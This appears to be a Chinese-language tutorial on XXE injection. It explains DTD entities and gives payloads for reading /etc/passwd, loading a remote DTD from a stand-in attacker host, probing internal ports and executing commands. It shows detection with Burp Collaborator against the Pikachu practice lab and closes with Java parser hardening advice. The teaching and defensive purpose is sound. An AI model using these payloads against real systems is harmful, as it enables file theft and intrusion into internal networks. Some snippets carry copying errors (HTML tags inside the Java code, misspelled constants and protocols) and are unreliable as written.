赞
踩
XXE(XML External Entity,XML 外部实体注入)正是当允许引用外部实体时,通过构造恶意内容,导致读取任意文件、执行系统命令、内网探测与攻击等危害的一类漏洞。
是不是想到了上节课讲的 SSRF?没错,利用 XXE 可以造成 SSRF。
PHP 默认使用 libxml 来解析 XML,但是从 libxml 2.9.0 开始,它默认不再解析外部实体,导致 PHP 下的 XXE 漏洞已经逐渐消失,除非你指定 LIBLXML_NOENT 去开启外部实体解析,才会存在 XXE 漏洞。
simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
- 1
本文也不打算再讲 PHP 环境下的 XXE 漏洞,Java 才是 XXE 漏洞最常见的语言,因此主要以 Java 为例做一些介绍。但在漏洞利用的实例演示上,我依然用 Pikachu 靶场的 XXE 题目(PHP),因为 XXE 在利用上与语言无关,无论是 php、java 还是 C、python,利用技巧都是一样的。
XML(Extensible Markup Language)意为可扩展性标记语言,我将介绍下 XML 的一些基础知识,方便你更好地理解漏洞原理。
XML 文档结构包括 XML 声明、文档类型定义(DTD)、文档元素,具体可以参考以下示例。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE people [ <!--定义此文档是 people 类型的文档-->
<!ELEMENT people (name,age,mail)> <!--定义people元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)> <!--定义age元素为“#PCDATA”类型-->
<!ELEMENT mail (#PCDATA)> <!--定义mail元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<people>
<name>john</name>
<age>18</age>
<mail>john@qq.com</mail>
</people>
三者其中,与 XXE 漏洞相关的主要在于文档类型定义(DTD),所以下面主要重点来介绍下 DTD。
DTD(Document Type Definition,文档类型定义)用于定义 XML 文档结构,包括元素的定义规则、元素间的关系规则、属性的定义规则,其定义结构如下:
<!DOCTYPE 根元素 [定义内容]>
DTD 实体就是变量,它既可以在文档内部声明,也可以外部引用,供在 XML 文档里面去使用。
内部实体声明
内部声明采用如下格式定义:
<!ENTITY 实体名 "实体值">
声明之后就可以通过“&实体名;”来获取,示例如下:
<!DOCTYPE foo [
<!ENTITY test "john">
]>
<root>
<name>&test;</name>
</root
外部实体引用
XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体。
(1)普通实体声明格式如下:
<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">
- 1
- 2
- 3
举个例子:
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
- 1
- 2
- 3
- 4
声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行。
(2)参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
- 1
- 2
- 3
举个例子:
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://hacker.com/evil.dtd" >
%xxe;
]>
<root>
<name>&evil;</name>
</root>
xxe.dtd 内容如下:
<!ENTITY evil SYSTEM "file:///etc/passwd">
上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。
在不同的语言中其支持协议还不一样,需要根据业务场景来实测,常见的协议有 file、http、ftp、https、except 等等。
下面介绍一些 XXE 漏洞的常见利用方法,并提供一些 payload 测试用例,测试仍以 Pikachu XXE 题目作为演示。
XXE 支持 http 等 URL,所以同样可以产生与 SSRF 一样效果,对内网进行指纹探测、端口扫描、漏洞攻击等行为。
比如以下的 payload:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://192.168.31.124:4444/test">
]>
<x>&xxe;</x></r>
由于不存在该端口,所以会出错误:
图 1 探测内网端口失败
成功的话,会返回空白,通过这种对比差异,可以判断是否利用成功:
图 2 探测内网端口成功
通过 file:// 可以读取本地文件,造成敏感文件泄露:
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
输入上述 XML 提交后,成功读取到 /etc/passwd 文件内容:
图 3 利用XXE漏洞读取 /etc/passwd
如果是 PHP 环境下并安装 except 扩展,就可以利用它执行系统命令了。这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "except://id">
]>
<x>&xxe;</x>
- 1
- 2
- 3
- 4
- 5
推荐一款综合型的 XXE 漏洞利用工具XXEinjector,用 Ruby 开发,运行前需要先安装 ruby。
sudo apt install ruby
- 1
通过输入请求包数据,并指定攻击行为,比如列目录、读文件等。
$ cat req.txt 1 ↵
GET /mmpaymd/ordercallback HTTP/1.1
Host: 100.95.204.69:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-CN;q=0.9,en;q=0.8
Cache-Control: max-age=259200
Connection: keep-alive
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
常用命令如下:
图 4 XXEinjector 常用命令
不过,不能完全依赖于 XXEinjector,因为之前我在测试时,发现它也有利用不成功的情况,需要自己多测试验证下。
其他更多 XXE payload,可以参考“XML External Entity (XXE) Injection Payload List”。
如果你记不住上面那些 XXE payload,还有个工具可以帮你生成,一款集 payload 生成与发包利用的 XXE 利用工具 XXExploiter,它可以启动服务提供远程 DTD 文件去实现利用。
图 5 xxeploiter 利用方法
就功能而言,个人觉得它比 XXEinjector 更优秀,生成 payload 的功能还可以用于辅助手工测试,结合业务场景自己做一些调整。
XXE 依然如 SSRF 分为有回显、无回显。通过 XXE 可以造成 SSRF,所以它的检测思路与 SSRF 大同小异,比较通用的方式也是构造特定外网服务器的访问请求,然后查询外网服务器的请求日志,以判断是否请求成功。
无论是手工测试还是自动化,当前检测 XXE 和 SSRF 漏洞的方式大多是基于此原理。
上一讲介绍的 Burp Collaborator,在此处就用得上,使用前面介绍的常见攻击手段,去尝试构造多种测试请求,是否向 Burp Collaborator Server 请求成功,就可以很容易地判断是否存在 XXE。
以 Pikachu 靶场的 XXE 题目为例。用 Burp Collaborator 获得 DNS 解析服务器的地址 b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net,然后构造 XXE payload。
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://b5hcm1ypwg6bvqnxtm6iyqao9ff53u.burpcollaborator.net">
]>
<x>&xxe;</x>
将上述 payload 输入文本框,点“提交”:
图 6 输入 xml payload
在 Burp Collaborator client 上点击“Poll now”就可以看到请求日志,说明确实存在 XXE 漏洞。
图 7 利用 XXE 请求 Collaborator server 成功
以 Java 为例,可以在代码中搜索常用的 XML 解析器,看它们在实例化之后,是否有关闭外部实体引用功能,如果没有就可能存在 XXE 漏洞。
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
这部分可以结合“XML External Entity Prevention Cheat Sheet”来看,不同语言、不同的 XML 解析库有不同的关闭外部实体引用的方法,在代码审计时,可以对照着看,然后拿一些 xxe payload 实际验证下。
要防御 XXE 也比较简单,关闭外部实体引用即可。比如在 Java 中常用于解析 XML 的 DocumentBuilderFactory,就可以通过 setFeature 方法防御 XXE 漏洞,注意是组合使用,而不是单一防御。
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
try {
// 禁用DTD
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
<span class="hljs-comment">// 禁用普通实体</span>
FEATURE = <span class="hljs-string">"http://xml.org/sax/features/external-general-entities"</span>;
dbf.setFeature(FEATURE, <span class="hljs-keyword">false</span>);
<span class="hljs-comment">// 禁用参数实体</span>
FEATURE = <span class="hljs-string">"http://xml.org/sax/features/external-parameter-entities"</span>;
dbf.setFeature(FEATURE, <span class="hljs-keyword">false</span>);
<span class="hljs-comment">// 禁用外部DTD引用</span>
FEATURE = <span class="hljs-string">"http://apache.org/xml/features/nonvalidating/load-external-dtd"</span>;
dbf.setFeature(FEATURE, <span class="hljs-keyword">false</span>);
<span class="hljs-comment">// 禁用XInclude处理功能</span>
dbf.setXIncludeAware(<span class="hljs-keyword">false</span>);
<span class="hljs-comment">// 禁用扩展实体引用节点,注意:只使用该方法并不能完全防御XXE</span>
dbf.setExpandEntityReferences(<span class="hljs-keyword">false</span>);
} catch () {
…
}
// Load XML file or stream using a XXE agnostic configured parser…
DocumentBuilder safebuilder = dbf.newDocumentBuilder();
不同的 XML 解析库有不同的关闭方式,比如全面介绍 XXE 防御方案的是 OWASP 发表的“XML External Entity Prevention Cheat Sheet”,针对不同的语言、XML 解析库,给出不同的防御方案,并提供关闭 XML 实体引用的代码示例,你在防御或者需要修复 XXE 漏洞时可以作为参考。
如果业务需要引用外部实体,建议采用白名单方式限制。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。